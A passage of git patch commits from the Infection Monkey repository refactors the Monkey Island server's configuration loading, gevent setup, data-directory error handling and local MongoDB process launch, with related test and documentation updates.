Islands.", - default=DEFAULT_SHOULD_SETUP_ONLY, ) parser.add_argument( - "--server-config", - action="store", - help="The path to the server configuration file.", - default=DEFAULT_SERVER_CONFIG_PATH, + "--server-config", action="store", help="The path to the server configuration file." ) args = parser.parse_args() diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 4178928e2d4..bc99b43940c 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -30,4 +30,3 @@ def get_default_data_dir() -> str: DEFAULT_LOG_LEVEL = "INFO" DEFAULT_START_MONGO_DB = True -DEFAULT_SHOULD_SETUP_ONLY = False From 3a800d9a442c59b1cf098c4ccb3ef746badedede Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 18:06:53 +0300 Subject: [PATCH 0566/1360] Fixed a bug where models were getting imported without mongodb connection and failing --- monkey/monkey_island.py | 8 +++++++- .../monkey_island/cc/environment/environment_singleton.py | 6 ------ monkey/monkey_island/cc/main.py | 4 +--- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 9367cc04a50..3b681bf89e6 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,5 +1,6 @@ from gevent import monkey as gevent_monkey +import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 from monkey_island.cc.arg_parser import parse_cli_args from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config @@ -30,6 +31,11 @@ print(f"Error loading server config: {ex}") exit(1) + # We need to initialize environment singleton before importing main, + # because main imports modules from monkey_island/cc/models and models need a connection to the + # mongodb. Mongodb connection parameters are initialized in environment singleton. + env_singleton.initialize_from_file(server_config_path) + from monkey_island.cc.main import main # noqa: E402 - main(island_args.setup_only, server_config_path, config) + main(island_args.setup_only, config) diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index e7e316ac54d..f1a6a2a39a3 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -2,7 +2,6 @@ import monkey_island.cc.resources.auth.user_store as user_store from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH __author__ = "itay.mizeretz" @@ -48,8 +47,3 @@ def initialize_from_file(file_path): except Exception: logger.error("Failed initializing environment", exc_info=True) raise - - -# TODO: This is only needed so that unit tests pass. After PR #848 is merged, we may be -# able to remove this line. -initialize_from_file(DEFAULT_SERVER_CONFIG_PATH) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 21b1184471d..293dd871bef 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -35,9 +35,7 @@ MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" -def main(setup_only: bool, server_config_path: str, config_options: IslandConfigOptions): - - env_singleton.initialize_from_file(server_config_path) +def main(setup_only: bool, config_options: IslandConfigOptions): initialize_encryptor(config_options.data_dir) initialize_services(config_options.data_dir) From 9337c68ae0d90da5a1917e3c262991d3e6633424 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 18:08:26 +0300 Subject: [PATCH 0567/1360] Removed the infrastructure from starting main.py - it can no longer be the entrypoint to the application --- monkey/monkey_island/cc/main.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 293dd871bef..df015863ba4 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -120,7 +120,3 @@ def assert_mongo_db_version(mongo_url): sys.exit(-1) else: logger.info("Mongo DB version OK. Got {0}".format(str(server_version))) - - -if __name__ == "__main__": - main() From 057a579d62c44fa5370f68a25f23fdf19c1144fc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 May 2021 09:49:34 +0300 Subject: [PATCH 0568/1360] Rolled back the changes that made default server config on model packages import --- monkey/monkey_island/cc/models/__init__.py | 9 --------- 1 file changed, 9 deletions(-) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 9b244a97435..3b23fa89f7c 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,14 +1,5 @@ from mongoengine import connect -# Needed so that a server_config.json file exists at the default path, -# otherwise, unit tests will error while importing `env_singleton` below. -from monkey_island.cc.environment import data_dir_generator, server_config_handler # noqa: E402 - -from ..server_utils.consts import DEFAULT_DATA_DIR - -data_dir_generator.create_data_dir(DEFAULT_DATA_DIR, False) -server_config_handler.create_default_server_config_file() - import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 from .command_control_channel import CommandControlChannel # noqa: F401, E402 From 5b7329b3d151c78f3b3d75270429bcbb4378a7bc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 May 2021 10:21:27 +0300 Subject: [PATCH 0569/1360] Fixed stack-overflow that has been happening due to gevent unpatched imports --- monkey/monkey_island.py | 12 +++++------- monkey/monkey_island/setup/gevent_setup.py | 6 ++++++ 2 files changed, 11 insertions(+), 7 deletions(-) create mode 100644 monkey/monkey_island/setup/gevent_setup.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 3b681bf89e6..554e5a442b2 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,14 +1,12 @@ -from gevent import monkey as gevent_monkey - -import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -from monkey_island.cc.arg_parser import parse_cli_args -from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config - -gevent_monkey.patch_all() +# This import patches other imports and needs to be first +import monkey_island.setup.gevent_setup # noqa: E402 F401 isort:skip import json # noqa: E402 +import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 +from monkey_island.cc.arg_parser import parse_cli_args from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 +from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config if "__main__" == __name__: island_args = parse_cli_args() diff --git a/monkey/monkey_island/setup/gevent_setup.py b/monkey/monkey_island/setup/gevent_setup.py new file mode 100644 index 00000000000..9fa2b47f9d4 --- /dev/null +++ b/monkey/monkey_island/setup/gevent_setup.py @@ -0,0 +1,6 @@ +from gevent import monkey as gevent_monkey + +# We need to monkeypatch before any other imports to +# make standard libraries compatible with gevent. +# http://www.gevent.org/api/gevent.monkey.html +gevent_monkey.patch_all() From 17e994c8d8260c39b576506e4017357e9bf88f3b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 May 2021 11:12:58 +0300 Subject: [PATCH 0570/1360] Fixed UT's for models by mocking an environment singleton with needed mongodb parameters --- monkey/monkey_island/cc/models/__init__.py | 1 + monkey/tests/unit_tests/monkey_island/cc/conftest.py | 10 +++++++++- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 3b23fa89f7c..d787a59ef7e 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -12,6 +12,7 @@ from .monkey_ttl import MonkeyTtl # noqa: F401, E402 from .pba_results import PbaResults # noqa: F401, E402 +# TODO refactor into explicit call when implementing mongodb startup connect( db=env_singleton.env.mongo_db_name, host=env_singleton.env.mongo_db_host, diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index af35c9b25df..4bccfd862b7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,3 +1,11 @@ +import monkey_island.cc.environment.environment_singleton as env_singleton +from monkey_island.cc.environment.testing import TestingEnvironment + +# Mock environment singleton because it contains mongodb parameters +# needed for model tests. See monkey/monkey_island/cc/models/__init__.py +env_config = {} +env_singleton.env = TestingEnvironment(env_config) + # Without these imports pytests can't use fixtures, # because they are not found -from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403 +from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 From a89a62cb5c73eceb1da3cea381003f281fa4969c Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 12:55:23 +0530 Subject: [PATCH 0571/1360] Remove unneeded "noqa" statements --- monkey/monkey_island.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 554e5a442b2..82b930a3e14 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,11 +1,11 @@ # This import patches other imports and needs to be first -import monkey_island.setup.gevent_setup # noqa: E402 F401 isort:skip +import monkey_island.setup.gevent_setup # noqa: F401 isort:skip -import json # noqa: E402 +import json -import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 +import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.arg_parser import parse_cli_args -from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 +from monkey_island.cc.server_utils.island_logger import setup_logging from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config if "__main__" == __name__: From baee74b761b2d343688ba898f161c52215b47c10 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 15:22:52 +0530 Subject: [PATCH 0572/1360] Add exception messages during data directory creation --- .../cc/environment/data_dir_generator.py | 26 +++++++++++++++---- 1 file changed, 21 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/environment/data_dir_generator.py b/monkey/monkey_island/cc/environment/data_dir_generator.py index 98907d63948..58e16d4b797 100644 --- a/monkey/monkey_island/cc/environment/data_dir_generator.py +++ b/monkey/monkey_island/cc/environment/data_dir_generator.py @@ -1,14 +1,30 @@ +import logging import os from monkey_island.cc.environment.utils import is_windows_os from monkey_island.cc.environment.windows_permissions import set_full_folder_access +LOG = logging.getLogger(__name__) + def create_data_dir(data_dir: str, create_parent_dirs: bool) -> None: if not os.path.isdir(data_dir): - if create_parent_dirs: - os.makedirs(data_dir, mode=0o700) - else: - os.mkdir(data_dir, mode=0o700) + try: + if create_parent_dirs: + os.makedirs(data_dir, mode=0o700) + else: + os.mkdir(data_dir, mode=0o700) + except Exception as ex: + LOG.error( + f'Could not create data directory at "{data_dir}" (maybe `$HOME` could not be ' + f"resolved?): {str(ex)}" + ) + if is_windows_os(): # `mode=0o700` doesn't work on Windows - set_full_folder_access(folder_path=data_dir) + try: + set_full_folder_access(folder_path=data_dir) + except Exception as ex: + LOG.error( + f'Data directory was created at "{data_dir}" but permissions could not be ' + f"set successfully: {str(ex)}" + ) From 31d65301d4f6241d4b00284aeab95a1663897b68 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 19:16:46 +0530 Subject: [PATCH 0573/1360] Remove unused file (monkey_island/config_file_parser.py) and its test file (tests/unit_tests/monkey_island/test_config_file_parser.py) --- monkey/monkey_island/config_file_parser.py | 19 ------------------- .../monkey_island/test_config_file_parser.py | 16 ---------------- 2 files changed, 35 deletions(-) delete mode 100644 monkey/monkey_island/config_file_parser.py delete mode 100644 monkey/tests/unit_tests/monkey_island/test_config_file_parser.py diff --git a/monkey/monkey_island/config_file_parser.py b/monkey/monkey_island/config_file_parser.py deleted file mode 100644 index 830ae672091..00000000000 --- a/monkey/monkey_island/config_file_parser.py +++ /dev/null @@ -1,19 +0,0 @@ -import json -from os.path import isfile - -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH -from monkey_island.setup.island_config_options import IslandConfigOptions - - -def load_island_config_from_file(server_config_path: str) -> IslandConfigOptions: - config_contents = read_config_file(server_config_path) - return IslandConfigOptions(config_contents) - - -def read_config_file(server_config_path: str) -> dict: - if not server_config_path or not isfile(server_config_path): - server_config_path = DEFAULT_SERVER_CONFIG_PATH - with open(server_config_path, "r") as f: - config_content = f.read() - config = json.loads(config_content) - return config diff --git a/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py b/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py deleted file mode 100644 index db377e6e7f7..00000000000 --- a/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py +++ /dev/null @@ -1,16 +0,0 @@ -from monkey_island import config_file_parser -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL - - -def test_load_server_config_from_file(server_config_init_only): - config = config_file_parser.load_island_config_from_file(server_config_init_only) - - assert config.data_dir == "~/.monkey_island" - assert config.log_level == "NOTICE" - - -def test_load_server_config_from_file_empty_file(monkeypatch, server_config_empty): - config = config_file_parser.load_island_config_from_file(server_config_empty) - - assert config.data_dir == DEFAULT_DATA_DIR - assert config.log_level == DEFAULT_LOG_LEVEL From 02ead23d044ff22ce1cd95c31010ac7359fffc2d Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 26 May 2021 19:27:08 +0530 Subject: [PATCH 0574/1360] Remove unused unit test fixtures --- monkey/tests/unit_tests/monkey_island/conftest.py | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 4d0d48e1fc9..037bee72bf9 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -6,13 +6,3 @@ @pytest.fixture(scope="module") def server_configs_dir(data_for_tests_dir): return os.path.join(data_for_tests_dir, "server_configs") - - -@pytest.fixture(scope="module") -def server_config_init_only(server_configs_dir): - return os.path.join(server_configs_dir, "server_config_init_only.json") - - -@pytest.fixture(scope="module") -def server_config_empty(server_configs_dir): - return os.path.join(server_configs_dir, "server_config_empty.json") From a31067a7529b44d13e5b9fc223b4d81d6e4fd088 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 21 May 2021 15:25:37 +0300 Subject: [PATCH 0575/1360] Added a common method to determine the runtime OS --- .../monkey_island/cc/server_utils/common_methods.py | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 monkey/monkey_island/cc/server_utils/common_methods.py diff --git a/monkey/monkey_island/cc/server_utils/common_methods.py b/monkey/monkey_island/cc/server_utils/common_methods.py new file mode 100644 index 00000000000..218f146edf7 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/common_methods.py @@ -0,0 +1,11 @@ +import platform + +WINDOWS = "Windows" +LINUX = "Linux" + + +def get_runtime_os() -> str: + if platform.system() == "Windows": + return WINDOWS + else: + return LINUX From 2483691b8b721ba69c893a089d2a3f9ec89f5349 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 08:45:00 +0300 Subject: [PATCH 0576/1360] Implemented mongodb process launch from the island --- monkey/monkey_island/cc/main.py | 9 ++- .../monkey_island/cc/server_utils/consts.py | 4 ++ monkey/monkey_island/cc/setup/__init__.py | 0 .../database_initializer.py} | 13 ++-- .../cc/setup/mongo_process_runner.py | 63 +++++++++++++++++++ .../cc/setup/test_mongo_setup.py | 24 +++++++ 6 files changed, 102 insertions(+), 11 deletions(-) create mode 100644 monkey/monkey_island/cc/setup/__init__.py rename monkey/monkey_island/cc/{mongo_setup.py => setup/database_initializer.py} (88%) create mode 100644 monkey/monkey_island/cc/setup/mongo_process_runner.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index df015863ba4..820630210c4 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -24,13 +24,16 @@ from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.database import get_db_version # noqa: E402 from monkey_island.cc.database import is_db_server_up # noqa: E402 -from monkey_island.cc.mongo_setup import init_collections, launch_mongodb # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 +from monkey_island.cc.setup.mongo_process_runner import ( # noqa: E402 + MongoDbRunner, + init_collections, +) MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" @@ -51,7 +54,9 @@ def main(setup_only: bool, config_options: IslandConfigOptions): def start_island_server(should_setup_only, config_options: IslandConfigOptions): if config_options.start_mongodb: - launch_mongodb() + MongoDbRunner( + db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir + ).launch_mongodb() mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) assert_mongo_db_version(mongo_url) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index bc99b43940c..9bc1e70592d 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -23,6 +23,10 @@ def get_default_data_dir() -> str: DEFAULT_SERVER_CONFIG_PATH = os.path.expandvars( os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) ) +_MONGO_EXECUTABLE_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "bin", "mongodb") +MONGO_EXECUTABLE_PATH_WIN = os.path.join(_MONGO_EXECUTABLE_PATH, "mongod.exe") +MONGO_EXECUTABLE_PATH_LINUX = os.path.join(_MONGO_EXECUTABLE_PATH, "bin", "mongod") + DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", f"{SERVER_CONFIG_FILENAME}.develop" diff --git a/monkey/monkey_island/cc/setup/__init__.py b/monkey/monkey_island/cc/setup/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/mongo_setup.py b/monkey/monkey_island/cc/setup/database_initializer.py similarity index 88% rename from monkey/monkey_island/cc/mongo_setup.py rename to monkey/monkey_island/cc/setup/database_initializer.py index 74cb29fc275..34914c7ce8f 100644 --- a/monkey/monkey_island/cc/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/database_initializer.py @@ -9,17 +9,12 @@ logger = logging.getLogger(__name__) -def launch_mongodb(): - # TODO: Implement the launch of mongodb process - pass - - def init_collections(): logger.info("Setting up the Monkey Island, this might take a while...") - try_store_mitigations_on_mongo() + _try_store_mitigations_on_mongo() -def try_store_mitigations_on_mongo(): +def _try_store_mitigations_on_mongo(): mitigation_collection_name = AttackMitigations.COLLECTION_NAME try: mongo.db.validate_collection(mitigation_collection_name) @@ -33,10 +28,10 @@ def try_store_mitigations_on_mongo(): except errors.CollectionInvalid: pass finally: - store_mitigations_on_mongo() + _store_mitigations_on_mongo() -def store_mitigations_on_mongo(): +def _store_mitigations_on_mongo(): stix2_mitigations = MitreApiInterface.get_all_mitigations() mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns( MitreApiInterface.get_all_attack_techniques() diff --git a/monkey/monkey_island/cc/setup/mongo_process_runner.py b/monkey/monkey_island/cc/setup/mongo_process_runner.py new file mode 100644 index 00000000000..bc429479ee8 --- /dev/null +++ b/monkey/monkey_island/cc/setup/mongo_process_runner.py @@ -0,0 +1,63 @@ +import logging +import os +import subprocess +from typing import List + +from monkey_island.cc.server_utils.common_methods import WINDOWS, get_runtime_os +from monkey_island.cc.server_utils.consts import ( + MONGO_EXECUTABLE_PATH_LINUX, + MONGO_EXECUTABLE_PATH_WIN, +) + +logger = logging.getLogger(__name__) + +DB_DIR_NAME = "db" +DB_DIR_PARAM = "--dbpath" +MONGO_LOG_FILENAME = "mongo_log.txt" + + +class MongoDbRunner: + def __init__(self, db_dir_parent_path: str, logging_dir_path: str): + """ + @param db_dir_parent_path: Path where a folder for database contents will be created + @param logging_dir_path: Path to a folder where mongodb logs will be created + """ + self.db_dir_parent_path = db_dir_parent_path + self.logging_dir_path = logging_dir_path + + def launch_mongodb(self): + db_path = self._create_db_dir() + self._start_mongodb_process(db_path) + + def _create_db_dir(self) -> str: + db_path = os.path.join(self.db_dir_parent_path, DB_DIR_NAME) + logger.info(f"Database content directory: {db_path}.") + if not os.path.isdir(db_path): + logger.info("Database content directory not found, creating one.") + os.mkdir(os.path.join(self.db_dir_parent_path, DB_DIR_NAME)) + return db_path + + def _start_mongodb_process(self, db_dir_path: str): + logger.info("Starting MongoDb process.") + mongo_exec = MongoDbRunner._get_path_of_mongo_exec() + + mongo_run_cmd = MongoDbRunner._build_mongo_launch_cmd(mongo_exec, db_dir_path) + logger.info(f"Mongodb will be launched with command: f{' '.join(mongo_run_cmd)}.") + + mongo_log_path = os.path.join(self.logging_dir_path, MONGO_LOG_FILENAME) + logger.info(f"Mongodb log will be available at f{mongo_log_path}.") + + with open(mongo_log_path, "w") as log: + subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) + logger.info("MongoDb launched successfully!") + + @staticmethod + def _get_path_of_mongo_exec(): + if get_runtime_os() == WINDOWS: + return MONGO_EXECUTABLE_PATH_WIN + else: + return MONGO_EXECUTABLE_PATH_LINUX + + @staticmethod + def _build_mongo_launch_cmd(exec_path: str, db_path: str) -> List[str]: + return [exec_path, DB_DIR_PARAM, db_path] diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py new file mode 100644 index 00000000000..388e1a6c06e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py @@ -0,0 +1,24 @@ +import os + +from monkey_island.cc.setup.mongo_setup import _create_db_dir + + +def test_create_db_dir(monkeypatch, tmpdir): + test_dir_name = "test_dir" + monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) + expected_path = os.path.join(tmpdir, test_dir_name) + + db_path = _create_db_dir(tmpdir) + assert os.path.isdir(expected_path) + assert db_path == expected_path + + +def test_create_db_dir_already_created(monkeypatch, tmpdir): + test_dir_name = "test_dir" + monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) + expected_path = os.path.join(tmpdir, test_dir_name) + os.mkdir(expected_path) + + db_path = _create_db_dir(tmpdir) + assert os.path.isdir(expected_path) + assert db_path == expected_path From 5ec64ef1896e9ae4bb089f404f72cd637d89f767 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 May 2021 13:53:22 +0300 Subject: [PATCH 0577/1360] Added unit test for db dir creation. --- .../cc/setup/test_mongo_setup.py | 24 ------------------- .../cc/setup/test_process_runner.py | 24 +++++++++++++++++++ 2 files changed, 24 insertions(+), 24 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py deleted file mode 100644 index 388e1a6c06e..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py +++ /dev/null @@ -1,24 +0,0 @@ -import os - -from monkey_island.cc.setup.mongo_setup import _create_db_dir - - -def test_create_db_dir(monkeypatch, tmpdir): - test_dir_name = "test_dir" - monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) - expected_path = os.path.join(tmpdir, test_dir_name) - - db_path = _create_db_dir(tmpdir) - assert os.path.isdir(expected_path) - assert db_path == expected_path - - -def test_create_db_dir_already_created(monkeypatch, tmpdir): - test_dir_name = "test_dir" - monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) - expected_path = os.path.join(tmpdir, test_dir_name) - os.mkdir(expected_path) - - db_path = _create_db_dir(tmpdir) - assert os.path.isdir(expected_path) - assert db_path == expected_path diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py new file mode 100644 index 00000000000..f4aec0ba845 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py @@ -0,0 +1,24 @@ +import os + +from monkey_island.cc.setup.mongo_process_runner import MongoDbRunner + + +def test_create_db_dir(monkeypatch, tmpdir): + test_dir_name = "test_dir" + monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", test_dir_name) + expected_path = os.path.join(tmpdir, test_dir_name) + + db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() + assert os.path.isdir(expected_path) + assert db_path == expected_path + + +def test_create_db_dir__already_created(monkeypatch, tmpdir): + test_dir_name = "test_dir" + monkeypatch.setattr("monkey_island.cc.setup.mongo_process_runner.DB_DIR_NAME", test_dir_name) + expected_path = os.path.join(tmpdir, test_dir_name) + os.mkdir(expected_path) + + db_path = MongoDbRunner(tmpdir, tmpdir)._create_db_dir() + assert os.path.isdir(expected_path) + assert db_path == expected_path From 73f23ad3839d3a26223288c3ee734fa78506e326 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 May 2021 14:26:02 +0300 Subject: [PATCH 0578/1360] Removed run.sh and updated mongodb related documentation: removed db folder creation and run.sh execution on linux --- monkey/monkey_island/linux/run.sh | 21 --------------------- monkey/monkey_island/readme.md | 7 +------ 2 files changed, 1 insertion(+), 27 deletions(-) delete mode 100755 monkey/monkey_island/linux/run.sh diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh deleted file mode 100755 index a284ffa837a..00000000000 --- a/monkey/monkey_island/linux/run.sh +++ /dev/null @@ -1,21 +0,0 @@ -#!/bin/bash - -start_mongo() { - # TODO: Handle starting and cleaning up mongo inside monkey_island.py or - # monkey_island/main.py. - ./bin/mongodb/bin/mongod --dbpath ./bin/mongodb/db & -} - -cd_to_monkey() { - # Pipenv must be run from monkey/monkey/monkey_island, but monkey_island.py - # must be executed from monkey/monkey. - cd .. -} - -start_monkey_island() { - cd_to_monkey - python ./monkey_island.py -} - -start_mongo -start_monkey_island diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index 0882aecfee1..4351dacffd8 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -28,7 +28,6 @@ - Place portable version of mongodb 1. Download from: 2. Extract contents of bin folder to \monkey\monkey_island\bin\mongodb. - 3. Create monkey_island\db folder. OR - Use already running instance of mongodb @@ -88,12 +87,8 @@ - `pipenv sync --dev` - `cd ..` -1. Set the linux `run.sh` to be executible: - - `chmod u+x monkey_island/linux/run.sh` - 1. Create the following directories in monkey island folder (execute from ./monkey): - `mkdir -p ./monkey_island/bin/mongodb` - - `mkdir -p ./monkey_island/db` - `mkdir -p ./monkey_island/cc/binaries` 1. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github). @@ -136,4 +131,4 @@ #### How to run -1. From the `monkey/monkey_island` directory, run `pipenv run ./linux/run.sh` +1. From the `monkey` directory, run `python3.7 ./monkey_island.py` From 559b61b581634ff775addc593f245b2d98101f06 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 May 2021 14:36:29 +0300 Subject: [PATCH 0579/1360] Removed code related to running mongodb and db folder creation --- deployment_scripts/deploy_windows.ps1 | 1 - monkey/monkey_island/linux/install_mongo.sh | 1 - monkey/monkey_island/windows/clear_db.bat | 4 ---- monkey/monkey_island/windows/run_mongodb.bat | 3 --- monkey/monkey_island/windows/run_server.bat | 4 +--- monkey/monkey_island/windows/run_server_py.bat | 2 -- 6 files changed, 1 insertion(+), 14 deletions(-) delete mode 100644 monkey/monkey_island/windows/clear_db.bat delete mode 100644 monkey/monkey_island/windows/run_mongodb.bat diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 46f2fb0f448..9ce8480cb1e 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -176,7 +176,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, } | Select-Object -ExpandProperty Name # Move all files from extracted folder to mongodb folder New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb") - New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db") "Moving extracted files" Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\") "Removing zip file" diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index 2bf2d43d466..825daaf5acc 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -58,7 +58,6 @@ popd || { } mkdir -p "${MONGODB_DIR}"/bin -mkdir -p "${MONGODB_DIR}"/db cp "${TEMP_MONGO}"/mongodb-*/bin/mongod "${MONGODB_DIR}"/bin/mongod cp "${TEMP_MONGO}"/mongodb-*/LICENSE-Community.txt "${MONGODB_DIR}"/ chmod a+x "${MONGODB_DIR}"/bin/mongod diff --git a/monkey/monkey_island/windows/clear_db.bat 